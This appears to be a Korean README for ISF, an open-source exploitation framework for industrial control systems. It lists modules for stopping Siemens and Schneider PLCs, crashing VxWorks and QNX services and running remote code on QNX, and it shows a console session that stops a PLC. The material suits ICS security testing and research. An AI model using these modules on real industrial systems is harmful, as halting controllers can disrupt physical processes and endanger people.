ISF(Industrial Control System Exploitation Framework), Python 기반의 익스플로잇 프레임워크
ISF(Industrial Exploitation Framework)는 Python 기반의 익스플로잇 프레임워크로, metasploit 프레임워크와 유사합니다.
ISF는 오픈 소스 프로젝트인 routersploit을 기반으로 합니다.
ISF를 사전 상호 동의 없이 대상 공격에 사용하는 것은 불법입니다. 모든 관련 지역, 주 및 연방 법률을 준수하는 것은 최종 사용자의 책임입니다. 개발자는 어떠한 책임도 지지 않으며, 이 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다.
| 이름 | 경로 | 설명 |
|---|
| modbus_tcp_client | icssploit/clients/modbus_tcp_client.py | Modbus-TCP 클라이언트 |
| wdb2_client | icssploit/clients/wdb2_client.py | WdbRPC 버전 2 클라이언트(Vxworks 6.x) |
| s7_client | icssploit/clients/s7_client.py | S7comm 클라이언트(S7 300/400 PLC) |
| 이름 | 경로 | 설명 |
|---|---|---|
| s7_300_400_plc_control | exploits/plcs/siemens/s7_300_400_plc_control.py | S7-300/400 PLC 시작/중지 |
| s7_1200_plc_control | exploits/plcs/siemens/s7_1200_plc_control.py | S7-1200 PLC 시작/중지/리셋 |
| vxworks_rpc_dos | exploits/plcs/vxworks/vxworks_rpc_dos.py | Vxworks RPC 원격 DoS(CVE-2015-7599) |
| quantum_140_plc_control | exploits/plcs/schneider/quantum_140_plc_control.py | 슈나이더 Quantum 140 시리즈 PLC 시작/중지 |
| crash_qnx_inetd_tcp_service | exploits/plcs/qnx/crash_qnx_inetd_tcp_service.py | QNX Inetd TCP 서비스 DoS |
| qconn_remote_exec | exploits/plcs/qnx/qconn_remote_exec.py | QNX qconn 원격 코드 실행 |
| profinet_set_ip | exploits/plcs/siemens/profinet_set_ip.py | Profinet DCP 장치 IP 구성 |
| 이름 | 경로 | 설명 |
|---|---|---|
| profinet_dcp_scan | scanners/profinet_dcp_scan.py | Profinet DCP 스캐너 |
| vxworks_6_scan | scanners/vxworks_6_scan.py | Vxworks 6.x 스캐너 |
| s7comm_scan | scanners/s7comm_scan.py | S7comm 스캐너 |
| enip_scan | scanners/enip_scan.py | EthernetIP 스캐너 |
이 프로토콜들은 Kitty와 같은 다른 퍼징 프레임워크에서 사용하거나 자체 클라이언트를 만드는 데 사용할 수 있습니다.
| 이름 | 경로 | 설명 |
|---|---|---|
| pn_dcp | icssploit/protocols/pn_dcp | Profinet DCP 프로토콜 |
| modbus_tcp | icssploit/protocols/modbus_tcp | Modbus TCP 프로토콜 |
| wdbrpc2 | icssploit/protocols/wdbrpc2 | WDB RPC 버전 2 프로토콜 |
| s7comm | icssploit/protocols/s7comm.py | S7comm 프로토콜 |
git clone https://github.com/dark-lbp/isf/
cd isf
python isf.py
root@kali:~/Desktop/temp/isf# python isf.py
_____ _____ _____ _____ _____ _ ____ _____ _______
|_ _/ ____|/ ____/ ____| __ \| | / __ \_ _|__ __|
| || | | (___| (___ | |__) | | | | | || | | |
| || | \___ \\___ \| ___/| | | | | || | | |
_| || |____ ____) |___) | | | |___| |__| || |_ | |
|_____\_____|_____/_____/|_| |______\____/_____| |_|
ICS 익스플로잇 프레임워크
참고 : ICSSPOLIT는 routersploit에서 포크되었습니다.
https://github.com/reverse-shell/routersploit
개발 팀 : wenzhe zhu(dark-lbp)
버전 : 0.1.0
익스플로잇: 2 스캐너: 0 자격증명: 13
ICS 익스플로잇:
PLC: 2 ICS 스위치: 0
소프트웨어: 0
isf >
isf > use exploits/plcs/
exploits/plcs/siemens/ exploits/plcs/vxworks/
isf > use exploits/plcs/siemens/s7_300_400_plc_control
exploits/plcs/siemens/s7_300_400_plc_control
isf > use exploits/plcs/siemens/s7_300_400_plc_control
isf (S7-300/400 PLC Control) >
탭 키를 사용하여 자동 완성할 수 있습니다.
isf (S7-300/400 PLC Control) > show options
대상 옵션:
이름 현재 설정 설명
---- ---------------- -----------
target 대상 주소 예: 192.168.1.1
port 102 대상 포트
모듈 옵션:
이름 현재 설정 설명
---- ---------------- -----------
slot 2 CPU 슬롯 번호.
command 1 명령 0:PLC 시작, 1:PLC 중지.
isf (S7-300/400 PLC Control) >
isf (S7-300/400 PLC Control) > set target 192.168.70.210
[+] {'target': '192.168.70.210'}
isf (S7-300/400 PLC Control) > run
[*] Running module...
[+] Target is alive
[*] Sending packet to target
[*] Stop plc
isf (S7-300/400 PLC Control) >
isf (S7-300/400 PLC Control) > show info
이름:
S7-300/400 PLC Control
설명:
S7comm 명령을 사용하여 PLC를 시작/중지합니다.
장치:
- 지멘스 S7-300 및 S7-400 프로그래밍 가능 논리 컨트롤러(PLC)
저자:
- wenzhe zhu <jtrkid[at]gmail.com>
참고 자료:
isf (S7-300/400 PLC Control) >